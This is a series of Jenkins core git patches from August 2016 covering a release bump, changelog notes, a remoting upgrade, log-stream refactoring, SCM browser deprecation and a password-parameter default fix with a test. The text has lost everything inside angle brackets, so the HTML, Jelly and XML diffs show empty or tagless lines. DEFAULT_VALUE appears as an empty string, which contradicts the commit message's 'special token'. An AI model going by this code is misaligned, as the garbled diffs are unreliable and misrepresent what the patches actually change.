Kohsuke Kawaguchi Date: Fri, 5 Aug 2016 22:53:01 -0700 Subject: [PATCH 196/811] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index b9e7918079..9fcc8b79fa 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.17 + 2.18-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 33bec50c05..4202bf618e 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.17 + 2.18-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index 8c98943a12..35bbd1cb64 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.17 + 2.18-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.17 + HEAD diff --git a/test/pom.xml b/test/pom.xml index e4dde9ca9d..38cc98e7d3 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.17 + 2.18-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index 434b60dab0..43b1c91e54 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.17 + 2.18-SNAPSHOT jenkins-war -- GitLab From 533395642118c3d943e985bd83317530b9bb988a Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Fri, 5 Aug 2016 23:00:20 -0700 Subject: [PATCH 197/811] updated changelog for release --- changelog.html | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/changelog.html b/changelog.html index a3dcc675e3..60e193cab0 100644 --- a/changelog.html +++ b/changelog.html @@ -59,6 +59,10 @@ Upcoming changes
          • +

            What's new in 2.17 (2016/08/05)

            +
              +
            • +

            What's new in 2.16 (2016/07/31)

            • -- GitLab From 70d733240e88f37a08ceae75099727ba0861d0a3 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sat, 6 Aug 2016 17:06:48 +0200 Subject: [PATCH 198/811] Noting #2456 #2458 #2496 --- changelog.html | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 60e193cab0..4db0deed10 100644 --- a/changelog.html +++ b/changelog.html @@ -61,7 +61,15 @@ Upcoming changes

              What's new in 2.17 (2016/08/05)

                -
              • +
              • + Don't load all builds to display the paginated build history widget. + (issue 31791) +
              • + Add dagnostic HTTP response to TCP agent listener. + (issue 37223) +
              • + Internal: Invoke FindBugs during core build. + (issue 36715)

              What's new in 2.16 (2016/07/31)

                -- GitLab From 2d076abcc37aa974ca1c8192e7771f1737679034 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sat, 6 Aug 2016 17:08:00 +0200 Subject: [PATCH 199/811] Reference issue for #2487 --- changelog.html | 1 + 1 file changed, 1 insertion(+) diff --git a/changelog.html b/changelog.html index 4db0deed10..5d978a4e3a 100644 --- a/changelog.html +++ b/changelog.html @@ -75,6 +75,7 @@ Upcoming changes
                • Fix plugin dependency resolution. Jenkins will now refuse to load plugins with unsatisfied dependencies, which resulted in difficult to diagnose problems. This may result in errors on startup if your instance has an invalid plugin configuration., check the Jenkins log for details. + (issue 21486)
                • Decouple bouncycastle libraries from Jenkins into bouncycastle-api plugin. (issue 36923) -- GitLab From 631a73400df2ee7e83e7b72aca8333409223de71 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sat, 6 Aug 2016 21:09:31 +0300 Subject: [PATCH 200/811] [JENKINS-37140,JENKINS-36991] - Upgrade remoting to 2.61 (#2497) Fixed issues: * [JENKINS-37140](https://issues.jenkins-ci.org/browse/JENKINS-37140) - JNLP Slave connection issue with *JNLP3-connect* protocol when the generated encrypted cookie contains a newline symbols. (https://github.com/jenkinsci/remoting/pull/95) * [JENKINS-36991](https://issues.jenkins-ci.org/browse/JENKINS-36991) - Unable to load class when remote classloader gets interrupted. (https://github.com/jenkinsci/remoting/pull/94) Enhancements: * Improve diagnostics for Jar Cache write errors. (https://github.com/jenkinsci/remoting/pull/91) --- pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pom.xml b/pom.xml index 35bbd1cb64..f9eab18449 100644 --- a/pom.xml +++ b/pom.xml @@ -180,7 +180,7 @@ THE SOFTWARE. org.jenkins-ci.main remoting - 2.60 + 2.61 -- GitLab From 03750c92ee4ba902027be444144542017c0ccf65 Mon Sep 17 00:00:00 2001 From: James Nord Date: Sun, 7 Aug 2016 18:10:00 +0100 Subject: [PATCH 201/811] [JENKINS-36757] don't quote a paramaterized message in UpdateCenter. (#2494) '{0}' is the literal string {0} in a message format - if you want to quote the parameter then you need to use double single quotes ''{0}'' --- core/src/main/java/hudson/model/UpdateCenter.java | 2 +- core/src/main/java/jenkins/install/InstallState.java | 4 ++-- .../lib/hudson/project/configurable_pt_BR.properties | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/core/src/main/java/hudson/model/UpdateCenter.java b/core/src/main/java/hudson/model/UpdateCenter.java index cb10f8374b..83411773f6 100644 --- a/core/src/main/java/hudson/model/UpdateCenter.java +++ b/core/src/main/java/hudson/model/UpdateCenter.java @@ -1450,7 +1450,7 @@ public class UpdateCenter extends AbstractModelObject implements Saveable, OnMas } }); } else { - LOGGER.log(WARNING, "Update site '{0}' does not declare the connection check URL. " + LOGGER.log(WARNING, "Update site ''{0}'' does not declare the connection check URL. " + "Skipping the network availability check.", site.getId()); connectionStates.put(ConnectionStatus.INTERNET, ConnectionStatus.SKIPPED); } diff --git a/core/src/main/java/jenkins/install/InstallState.java b/core/src/main/java/jenkins/install/InstallState.java index 31e1e1145c..622a552c07 100644 --- a/core/src/main/java/jenkins/install/InstallState.java +++ b/core/src/main/java/jenkins/install/InstallState.java @@ -173,13 +173,13 @@ public class InstallState implements ExtensionPoint { public Object readResolve() { // If we get invalid state from the configuration, fallback to unknown if (StringUtils.isBlank(name)) { - LOGGER.log(Level.WARNING, "Read install state with blank name: '{0}'. It will be ignored", name); + LOGGER.log(Level.WARNING, "Read install state with blank name: ''{0}''. It will be ignored", name); return UNKNOWN; } InstallState state = InstallState.valueOf(name); if (state == null) { - LOGGER.log(Level.WARNING, "Cannot locate an extension point for the state '{0}'. It will be ignored", name); + LOGGER.log(Level.WARNING, "Cannot locate an extension point for the state ''{0}''. It will be ignored", name); return UNKNOWN; } diff --git a/core/src/main/resources/lib/hudson/project/configurable_pt_BR.properties b/core/src/main/resources/lib/hudson/project/configurable_pt_BR.properties index d56206fcc2..c5f0fa1a5d 100644 --- a/core/src/main/resources/lib/hudson/project/configurable_pt_BR.properties +++ b/core/src/main/resources/lib/hudson/project/configurable_pt_BR.properties @@ -24,4 +24,4 @@ Build\ scheduled=build agendada delete=Excluir {0} Configure=Configurar View\ Configuration= Configurar a view -delete.confirm=Quer mesmo remover {0} '{1}'? +delete.confirm=Quer mesmo remover {0} ''{1}''? -- GitLab From dc710b7809685e9dc79f46a144c4b5b59cee5f2c Mon Sep 17 00:00:00 2001 From: Nicolas De Loof Date: Mon, 1 Aug 2016 14:42:42 +0200 Subject: [PATCH 202/811] [JENKINS-37098] deprecate ReopenableFileOutputStream MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ReopenableFileOutputStream introduces file-leaks (detected on windows) when channel onClose writes on already closed log, and breaks when computer tries to delete the slave’s log directory. --- .../java/hudson/slaves/SlaveComputer.java | 8 +- .../util/io/ReopenableFileOutputStream.java | 3 +- .../ReopenableRotatingFileOutputStream.java | 3 +- .../util/io/RewindableFileOutputStream.java | 102 ++++++++++++++++++ .../RewindableRotatingFileOutputStream.java | 72 +++++++++++++ 5 files changed, 182 insertions(+), 6 deletions(-) create mode 100644 core/src/main/java/hudson/util/io/RewindableFileOutputStream.java create mode 100644 core/src/main/java/hudson/util/io/RewindableRotatingFileOutputStream.java diff --git a/core/src/main/java/hudson/slaves/SlaveComputer.java b/core/src/main/java/hudson/slaves/SlaveComputer.java index 564abe8dd0..50e071ef98 100644 --- a/core/src/main/java/hudson/slaves/SlaveComputer.java +++ b/core/src/main/java/hudson/slaves/SlaveComputer.java @@ -48,8 +48,8 @@ import hudson.util.IOUtils; import hudson.util.NullStream; import hudson.util.RingBufferLogHandler; import hudson.util.StreamTaskListener; -import hudson.util.io.ReopenableFileOutputStream; -import hudson.util.io.ReopenableRotatingFileOutputStream; +import hudson.util.io.RewindableFileOutputStream; +import hudson.util.io.RewindableRotatingFileOutputStream; import jenkins.model.Jenkins; import jenkins.security.ChannelConfigurator; import jenkins.security.MasterToSlaveCallable; @@ -110,7 +110,7 @@ public class SlaveComputer extends Computer { /** * Perpetually writable log file. */ - private final ReopenableFileOutputStream log; + private final RewindableFileOutputStream log; /** * {@link StreamTaskListener} that wraps {@link #log}, hence perpetually writable. @@ -137,7 +137,7 @@ public class SlaveComputer extends Computer { public SlaveComputer(Slave slave) { super(slave); - this.log = new ReopenableRotatingFileOutputStream(getLogFile(),10); + this.log = new RewindableRotatingFileOutputStream(getLogFile(), 10); this.taskListener = new StreamTaskListener(decorate(this.log)); assert slave.getNumExecutors()!=0 : "Computer created with 0 executors"; } diff --git a/core/src/main/java/hudson/util/io/ReopenableFileOutputStream.java b/core/src/main/java/hudson/util/io/ReopenableFileOutputStream.java index e35d8816e3..1cac1df91a 100644 --- a/core/src/main/java/hudson/util/io/ReopenableFileOutputStream.java +++ b/core/src/main/java/hudson/util/io/ReopenableFileOutputStream.java @@ -37,8 +37,9 @@ import java.io.OutputStream; * and then keep writing. * * @author Kohsuke Kawaguchi + * @deprecated due to risk for file leak. Prefer {@link RewindableFileOutputStream} */ -public class ReopenableFileOutputStream extends OutputStream { +@Deprecated public class ReopenableFileOutputStream extends OutputStream { protected final File out; private OutputStream current; diff --git a/core/src/main/java/hudson/util/io/ReopenableRotatingFileOutputStream.java b/core/src/main/java/hudson/util/io/ReopenableRotatingFileOutputStream.java index 7bcab185ac..3800f54c16 100644 --- a/core/src/main/java/hudson/util/io/ReopenableRotatingFileOutputStream.java +++ b/core/src/main/java/hudson/util/io/ReopenableRotatingFileOutputStream.java @@ -31,8 +31,9 @@ import java.io.IOException; * * @author Kohsuke Kawaguchi * @since 1.416 + * @deprecated due to risk for file leak. Prefer {@link RewindableRotatingFileOutputStream} */ -public class ReopenableRotatingFileOutputStream extends ReopenableFileOutputStream { +@Deprecated public class ReopenableRotatingFileOutputStream extends ReopenableFileOutputStream { /** * Number of log files to keep. */ diff --git a/core/src/main/java/hudson/util/io/RewindableFileOutputStream.java b/core/src/main/java/hudson/util/io/RewindableFileOutputStream.java new file mode 100644 index 0000000000..38e522a188 --- /dev/null +++ b/core/src/main/java/hudson/util/io/RewindableFileOutputStream.java @@ -0,0 +1,102 @@ +/* + * The MIT License + * + * Copyright (c) 2016, CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package hudson.util.io; + +import java.io.File; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.OutputStream; + +/** + * {@link OutputStream} that writes to a file. + *

                  + * Allows the caller to rewind the stream and override previous content with fresh new data. + */ +public class RewindableFileOutputStream extends OutputStream { + protected final File out; + private boolean closed; + + private OutputStream current; + + public RewindableFileOutputStream(File out) { + this.out = out; + } + + private synchronized OutputStream current() throws IOException { + if (current == null) { + if (!closed) { + try { + current = new FileOutputStream(out,false); + } catch (FileNotFoundException e) { + throw new IOException("Failed to open "+out,e); + } + } + else { + throw new IOException(out.getName()+" stream is closed"); + } + } + return current; + } + + @Override + public void write(int b) throws IOException { + current().write(b); + } + + @Override + public void write(byte[] b) throws IOException { + current().write(b); + } + + @Override + public void write(byte[] b, int off, int len) throws IOException { + current().write(b, off, len); + } + + @Override + public void flush() throws IOException { + current().flush(); + } + + @Override + public synchronized void close() throws IOException { + closeCurrent(); + closed = true; + } + + /** + * In addition to close, ensure that the next "open" would truncate the file. + */ + public synchronized void rewind() throws IOException { + closeCurrent(); + } + + private void closeCurrent() throws IOException { + if (current != null) { + current.close(); + current = null; + } + } +} diff --git a/core/src/main/java/hudson/util/io/RewindableRotatingFileOutputStream.java b/core/src/main/java/hudson/util/io/RewindableRotatingFileOutputStream.java new file mode 100644 index 0000000000..132f0743a0 --- /dev/null +++ b/core/src/main/java/hudson/util/io/RewindableRotatingFileOutputStream.java @@ -0,0 +1,72 @@ +/* + * The MIT License + * + * Copyright (c) 2011, CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package hudson.util.io; + +import java.io.File; +import java.io.IOException; + +/** + * {@link ReopenableFileOutputStream} that does log rotation upon rewind. + * + * @author Kohsuke Kawaguchi + * @since 1.416 + */ +public class RewindableRotatingFileOutputStream extends RewindableFileOutputStream { + /** + * Number of log files to keep. + */ + private final int size; + + public RewindableRotatingFileOutputStream(File out, int size) { + super(out); + this.size = size; + } + + protected File getNumberedFileName(int n) { + if (n==0) return out; + return new File(out.getPath()+"."+n); + } + + @Override + public void rewind() throws IOException { + super.rewind(); + for (int i=size-1;i>=0;i--) { + File fi = getNumberedFileName(i); + if (fi.exists()) { + File next = getNumberedFileName(i+1); + next.delete(); + fi.renameTo(next); + } + } + } + + /** + * Deletes all the log files, including rotated files. + */ + public void deleteAll() { + for (int i=0; i<=size; i++) { + getNumberedFileName(i).delete(); + } + } +} -- GitLab From 584ecc0bd103d33ad8ac943e36f5cc0bb5017df2 Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Mon, 8 Aug 2016 10:28:57 +0100 Subject: [PATCH 203/811] Integrate JENKINS-37223 with changes from JENKINS-37032 --- core/src/main/java/hudson/TcpSlaveAgentListener.java | 9 +-------- 1 file changed, 1 insertion(+), 8 deletions(-) diff --git a/core/src/main/java/hudson/TcpSlaveAgentListener.java b/core/src/main/java/hudson/TcpSlaveAgentListener.java index 8ccabdf00d..7804d04998 100644 --- a/core/src/main/java/hudson/TcpSlaveAgentListener.java +++ b/core/src/main/java/hudson/TcpSlaveAgentListener.java @@ -264,14 +264,7 @@ public final class TcpSlaveAgentListener extends Thread { o.write("HTTP/1.0 200 OK\r\n"); o.write("Content-Type: text/plain;charset=UTF-8\r\n"); o.write("\r\n"); - o.write("Jenkins-Agent-Protocols: "); - boolean first = true; - for (AgentProtocol p : AgentProtocol.all()) { - if (first) first = false; - else o.write(","); - o.write(p.getName()); - } - o.write("\r\n"); + o.write("Jenkins-Agent-Protocols: " + getAgentProtocolNames()+"\r\n"); o.write("Jenkins-Version: " + Jenkins.VERSION + "\r\n"); o.write("Jenkins-Session: " + Jenkins.SESSION_HASH + "\r\n"); o.write("Client: " + s.getInetAddress().getHostAddress() + "\r\n"); -- GitLab From 961ab53ebde317b241116244f523c40b6a6d4b09 Mon Sep 17 00:00:00 2001 From: Ivan Meredith Date: Tue, 26 Jul 2016 18:39:33 +1200 Subject: [PATCH 204/811] [JENKINS-36940] Remove trailing space from Hudson.DisplayName (#2471) (cherry picked from commit 3956994c286941dab2da810c649269d637dc98d9) --- core/src/main/resources/jenkins/model/Messages_es.properties | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/resources/jenkins/model/Messages_es.properties b/core/src/main/resources/jenkins/model/Messages_es.properties index 344aebeee1..3c1c46a445 100644 --- a/core/src/main/resources/jenkins/model/Messages_es.properties +++ b/core/src/main/resources/jenkins/model/Messages_es.properties @@ -24,7 +24,7 @@ Hudson.BadPortNumber=N\u00famero erroneo de puerto {0} Hudson.Computer.Caption=Principal Hudson.Computer.DisplayName=principal Hudson.ControlCodeNotAllowed=El c\u00f3digo de control {0} no est\u00e1 permitido -Hudson.DisplayName=Jenkins +Hudson.DisplayName=Jenkins Hudson.JobAlreadyExists=Una tarea con el nombre ''{0}'' ya existe Hudson.NoJavaInPath=No se encuentra el comando java en el ''PATH''. Quiz\u00e1s necesite configurar JDKs? Hudson.NoName=No se ha especificado un nombre -- GitLab From 90b977ea8e9e6efa6052fa7ee8fa9dedf26ce432 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Fri, 10 Jun 2016 18:46:05 -0400 Subject: [PATCH 205/811] [JENKINS-35098] Disable AutoBrowserHolder by default to improve the changelog rendering performance (#2371) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * [FIXED JENKINS-35098] Deleting AutoBrowserHolder. * Normalizing form binding scheme for AbstractProject.scm. * At @oleg-nenashev’s insistence, restoring AutoBrowserHolder, though not using it by default. * Using SystemProperties at @oleg-nenashev’s recommendation. (cherry picked from commit d33df0f2e4cbe5a6e35f34ece96059826aa7471d) --- .../java/hudson/scm/AutoBrowserHolder.java | 2 ++ core/src/main/java/hudson/scm/NullSCM.java | 11 +++++----- core/src/main/java/hudson/scm/SCM.java | 20 ++++++++++++++----- .../main/java/hudson/scm/SCMDescriptor.java | 4 ++++ core/src/main/java/hudson/scm/SCMS.java | 11 ++++------ .../lib/hudson/project/config-scm.jelly | 12 +++++------ 6 files changed, 36 insertions(+), 24 deletions(-) diff --git a/core/src/main/java/hudson/scm/AutoBrowserHolder.java b/core/src/main/java/hudson/scm/AutoBrowserHolder.java index 9f6dd18024..10e03cb0f6 100644 --- a/core/src/main/java/hudson/scm/AutoBrowserHolder.java +++ b/core/src/main/java/hudson/scm/AutoBrowserHolder.java @@ -37,7 +37,9 @@ import jenkins.model.Jenkins; * *

                  * This class makes such tracking easy by hiding this logic. + * @deprecated Disabled by default: JENKINS-35098 */ +@Deprecated final class AutoBrowserHolder { private int cacheGeneration; private RepositoryBrowser cache; diff --git a/core/src/main/java/hudson/scm/NullSCM.java b/core/src/main/java/hudson/scm/NullSCM.java index 911bac13a0..777db3759e 100644 --- a/core/src/main/java/hudson/scm/NullSCM.java +++ b/core/src/main/java/hudson/scm/NullSCM.java @@ -31,9 +31,8 @@ import hudson.model.Run; import hudson.model.TaskListener; import java.io.File; import java.io.IOException; -import net.sf.json.JSONObject; import org.jenkinsci.Symbol; -import org.kohsuke.stapler.StaplerRequest; +import org.kohsuke.stapler.DataBoundConstructor; /** * No {@link SCM}. @@ -41,6 +40,10 @@ import org.kohsuke.stapler.StaplerRequest; * @author Kohsuke Kawaguchi */ public class NullSCM extends SCM { + + @DataBoundConstructor + public NullSCM() {} + @Override public SCMRevisionState calcRevisionsFromBuild(Run build, FilePath workspace, Launcher launcher, TaskListener listener) throws IOException, InterruptedException { return null; } @@ -69,9 +72,5 @@ public class NullSCM extends SCM { return Messages.NullSCM_DisplayName(); } - @Override - public SCM newInstance(StaplerRequest req, JSONObject formData) throws FormException { - return new NullSCM(); - } } } diff --git a/core/src/main/java/hudson/scm/SCM.java b/core/src/main/java/hudson/scm/SCM.java index ce9d7a6762..2cf3341665 100644 --- a/core/src/main/java/hudson/scm/SCM.java +++ b/core/src/main/java/hudson/scm/SCM.java @@ -58,6 +58,7 @@ import javax.annotation.CheckForNull; import javax.annotation.Nonnull; import javax.annotation.Nullable; import jenkins.model.Jenkins; +import jenkins.util.SystemProperties; import org.kohsuke.stapler.export.Exported; import org.kohsuke.stapler.export.ExportedBean; @@ -84,8 +85,13 @@ import org.kohsuke.stapler.export.ExportedBean; */ @ExportedBean public abstract class SCM implements Describable, ExtensionPoint { + + /** JENKINS-35098: discouraged */ + @SuppressWarnings("FieldMayBeFinal") + private static boolean useAutoBrowserHolder = SystemProperties.getBoolean(SCM.class.getName() + ".useAutoBrowserHolder"); /** * Stores {@link AutoBrowserHolder}. Lazily created. + * @deprecated Unused by default. */ private transient AutoBrowserHolder autoBrowserHolder; @@ -124,17 +130,21 @@ public abstract class SCM implements Describable, ExtensionPoint { * Returns the applicable {@link RepositoryBrowser} for files * controlled by this {@link SCM}. * @see #guessBrowser - * @see SCMDescriptor#isBrowserReusable */ + @SuppressWarnings("deprecation") @Exported(name="browser") public final @CheckForNull RepositoryBrowser getEffectiveBrowser() { RepositoryBrowser b = getBrowser(); if(b!=null) return b; - if(autoBrowserHolder==null) - autoBrowserHolder = new AutoBrowserHolder(this); - return autoBrowserHolder.get(); - + if (useAutoBrowserHolder) { + if (autoBrowserHolder == null) { + autoBrowserHolder = new AutoBrowserHolder(this); + } + return autoBrowserHolder.get(); + } else { + return guessBrowser(); + } } /** diff --git a/core/src/main/java/hudson/scm/SCMDescriptor.java b/core/src/main/java/hudson/scm/SCMDescriptor.java index 242ad88c6d..9929e95d3a 100644 --- a/core/src/main/java/hudson/scm/SCMDescriptor.java +++ b/core/src/main/java/hudson/scm/SCMDescriptor.java @@ -53,7 +53,9 @@ public abstract class SCMDescriptor extends Descriptor { * This is used to invalidate cache of {@link SCM#getEffectiveBrowser}. Due to the lack of synchronization and serialization, * this field doesn't really count the # of instances created to date, * but it's good enough for the cache invalidation. + * @deprecated No longer used by default. */ + @Deprecated public volatile int generation = 1; protected SCMDescriptor(Class clazz, Class repositoryBrowser) { @@ -102,7 +104,9 @@ public abstract class SCMDescriptor extends Descriptor { * @return * true if the two given SCM configurations are similar enough * that they can reuse {@link RepositoryBrowser} between them. + * @deprecated No longer used by default. {@link SCM#getKey} could be used to implement similar features if needed. */ + @Deprecated public boolean isBrowserReusable(T x, T y) { return false; } diff --git a/core/src/main/java/hudson/scm/SCMS.java b/core/src/main/java/hudson/scm/SCMS.java index e79af364de..4f7f71e4b1 100644 --- a/core/src/main/java/hudson/scm/SCMS.java +++ b/core/src/main/java/hudson/scm/SCMS.java @@ -54,14 +54,11 @@ public class SCMS { * @param target * The project for which this SCM is configured to. */ + @SuppressWarnings("deprecation") public static SCM parseSCM(StaplerRequest req, AbstractProject target) throws FormException, ServletException { - String scm = req.getParameter("scm"); - if(scm==null) return new NullSCM(); - - int scmidx = Integer.parseInt(scm); - SCMDescriptor d = SCM._for(target).get(scmidx); - d.generation++; - return d.newInstance(req, req.getSubmittedForm().getJSONObject("scm")); + SCM scm = req.bindJSON(SCM.class, req.getSubmittedForm().getJSONObject("scm")); + scm.getDescriptor().generation++; + return scm; } /** diff --git a/core/src/main/resources/lib/hudson/project/config-scm.jelly b/core/src/main/resources/lib/hudson/project/config-scm.jelly index 6874bb2dfb..0d3eb3bf1f 100644 --- a/core/src/main/resources/lib/hudson/project/config-scm.jelly +++ b/core/src/main/resources/lib/hudson/project/config-scm.jelly @@ -26,14 +26,14 @@ THE SOFTWARE. - - - + + - - + + - + + -- GitLab From 2492e6d56dadd974d709f3e6b7ab60ec3c650e0f Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Sat, 16 Jul 2016 15:14:48 -0400 Subject: [PATCH 206/811] [JENKINS-36476] Underprivileged users could not use the default value of a password parameter (#2454) * [FIXED JENKINS-36476] Do not even send the default password in encrypted form; leave the text field blank, and apply the default upon submission. * [JENKINS-36476] Use a special token, not the empty string, as the marker for the default value. (cherry picked from commit c31392d1401a45e8e9df4b91b2445cb4b1901f4d) --- core/src/main/java/hudson/Functions.java | 3 +- .../model/PasswordParameterDefinition.java | 7 +++ .../PasswordParameterDefinition/index.jelly | 2 +- .../PasswordParameterDefinitionTest.java | 56 +++++++++++++++++++ 4 files changed, 66 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/hudson/Functions.java b/core/src/main/java/hudson/Functions.java index 75601792c7..6e9f67369d 100644 --- a/core/src/main/java/hudson/Functions.java +++ b/core/src/main/java/hudson/Functions.java @@ -153,6 +153,7 @@ import org.kohsuke.stapler.jelly.InternationalizedStringExpression.RawHtmlArgume import com.google.common.base.Predicate; import com.google.common.base.Predicates; +import hudson.model.PasswordParameterDefinition; import hudson.util.RunList; import java.util.concurrent.atomic.AtomicLong; import javax.annotation.CheckForNull; @@ -1756,7 +1757,7 @@ public class Functions { } return ((Secret) o).getEncryptedValue(); } - if (getIsUnitTest()) { + if (getIsUnitTest() && !o.equals(PasswordParameterDefinition.DEFAULT_VALUE)) { throw new SecurityException("attempted to render plaintext ‘" + o + "’ in password field; use a getter of type Secret instead"); } return o.toString(); diff --git a/core/src/main/java/hudson/model/PasswordParameterDefinition.java b/core/src/main/java/hudson/model/PasswordParameterDefinition.java index f4cad5a8c3..f3dfe79356 100644 --- a/core/src/main/java/hudson/model/PasswordParameterDefinition.java +++ b/core/src/main/java/hudson/model/PasswordParameterDefinition.java @@ -31,6 +31,7 @@ import hudson.Extension; import hudson.util.Secret; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.DoNotUse; +import org.kohsuke.accmod.restrictions.NoExternalUse; /** * Parameter whose value is a {@link Secret} and is hidden from the UI. @@ -40,6 +41,9 @@ import org.kohsuke.accmod.restrictions.DoNotUse; */ public class PasswordParameterDefinition extends SimpleParameterDefinition { + @Restricted(NoExternalUse.class) + public static final String DEFAULT_VALUE = ""; + private Secret defaultValue; @DataBoundConstructor @@ -66,6 +70,9 @@ public class PasswordParameterDefinition extends SimpleParameterDefinition { @Override public PasswordParameterValue createValue(StaplerRequest req, JSONObject jo) { PasswordParameterValue value = req.bindJSON(PasswordParameterValue.class, jo); + if (value.getValue().getPlainText().equals(DEFAULT_VALUE)) { + value = new PasswordParameterValue(getName(), getDefaultValue()); + } value.setDescription(getDescription()); return value; } diff --git a/core/src/main/resources/hudson/model/PasswordParameterDefinition/index.jelly b/core/src/main/resources/hudson/model/PasswordParameterDefinition/index.jelly index 9bac23608c..81b8c0190a 100644 --- a/core/src/main/resources/hudson/model/PasswordParameterDefinition/index.jelly +++ b/core/src/main/resources/hudson/model/PasswordParameterDefinition/index.jelly @@ -29,7 +29,7 @@ THE SOFTWARE.

                  - +
                  \ No newline at end of file diff --git a/test/src/test/java/hudson/model/PasswordParameterDefinitionTest.java b/test/src/test/java/hudson/model/PasswordParameterDefinitionTest.java index 8b4dcb2906..2129c9fce9 100644 --- a/test/src/test/java/hudson/model/PasswordParameterDefinitionTest.java +++ b/test/src/test/java/hudson/model/PasswordParameterDefinitionTest.java @@ -24,10 +24,18 @@ package hudson.model; +import com.gargoylesoftware.htmlunit.html.HtmlForm; +import com.gargoylesoftware.htmlunit.html.HtmlPasswordInput; +import hudson.Launcher; +import java.io.IOException; +import jenkins.model.Jenkins; import static org.junit.Assert.assertEquals; import org.junit.Rule; import org.junit.Test; +import org.jvnet.hudson.test.Issue; import org.jvnet.hudson.test.JenkinsRule; +import org.jvnet.hudson.test.MockAuthorizationStrategy; +import org.jvnet.hudson.test.TestBuilder; public class PasswordParameterDefinitionTest { @@ -40,4 +48,52 @@ public class PasswordParameterDefinitionTest { assertEquals("s3cr3t", ((PasswordParameterDefinition) p.getProperty(ParametersDefinitionProperty.class).getParameterDefinition("p")).getDefaultValue()); } + @Issue("JENKINS-36476") + @Test public void defaultValueAlwaysAvailable() throws Exception { + j.jenkins.setSecurityRealm(j.createDummySecurityRealm()); + j.jenkins.setAuthorizationStrategy(new MockAuthorizationStrategy(). + grant(Jenkins.ADMINISTER).everywhere().to("admin"). + grant(Jenkins.READ, Item.READ, Item.BUILD).everywhere().to("dev")); + FreeStyleProject p = j.createFreeStyleProject(); + p.addProperty(new ParametersDefinitionProperty(new PasswordParameterDefinition("secret", "s3cr3t", ""))); + p.getBuildersList().add(new TestBuilder() { + @Override public boolean perform(AbstractBuild build, Launcher launcher, BuildListener listener) throws InterruptedException, IOException { + listener.getLogger().println("I heard about a " + build.getEnvironment(listener).get("secret") + "!"); + return true; + } 